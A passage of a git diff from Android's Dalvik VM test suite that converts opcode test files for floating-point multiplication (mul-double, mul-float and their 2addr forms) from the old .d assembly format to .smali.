-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali
new file mode 100644
index 0000000..058c09c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_4.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       mul-double v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.d
deleted file mode 100644
index d3d6ec3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_5.java
-.class public dot.junit.opcodes.mul_double.d.T_mul_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double v0, v9, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali
new file mode 100644
index 0000000..a4d45d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double/d/T_mul_double_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_5.java"
+.class  public Ldot/junit/opcodes/mul_double/d/T_mul_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double v0, v9, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.d
deleted file mode 100644
index 373a854..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_1.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali
new file mode 100644
index 0000000..cded4ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.d
deleted file mode 100644
index 05485d8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_2.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double/2addr v10, v14
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali
new file mode 100644
index 0000000..651431e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v10, v14
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.d
deleted file mode 100644
index d981779..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_3.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)D
-.limit regs 14
-
-       mul-double/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali
new file mode 100644
index 0000000..8fbbb96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       mul-double/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.d
deleted file mode 100644
index 1654300..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_4.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 14
-
-       mul-double/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali
new file mode 100644
index 0000000..d1837d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       mul-double/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.d
deleted file mode 100644
index ef36f48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_double_2addr_5.java
-.class public dot.junit.opcodes.mul_double_2addr.d.T_mul_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       mul-double/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali
new file mode 100644
index 0000000..bffe82c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_double_2addr/d/T_mul_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       mul-double/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.d
deleted file mode 100644
index 8be7048..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_1.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali
new file mode 100644
index 0000000..6280a50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_1.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.d
deleted file mode 100644
index 26475994..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_2.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali
new file mode 100644
index 0000000..b5d27a3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.d
deleted file mode 100644
index 13a31f3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_3.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)F
-.limit regs 8
-
-       mul-float v0, v5, v6
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali
new file mode 100644
index 0000000..aa0fb9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_3.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       mul-float v0, v5, v6
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.d
deleted file mode 100644
index a92ef8f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_4.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)F
-.limit regs 8
-
-       mul-float v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali
new file mode 100644
index 0000000..692b4b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_4.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       mul-float v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.d
deleted file mode 100644
index 9f99d59..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_5.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali
new file mode 100644
index 0000000..3d8c8da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_5.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.d
deleted file mode 100644
index 7b3b61a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_6.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)F
-.limit regs 8
-
-       mul-float v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali
new file mode 100644
index 0000000..053c077
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_6.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       mul-float v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.d
deleted file mode 100644
index 05faaba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_2addr_1.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali
new file mode 100644
index 0000000..171c848
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali
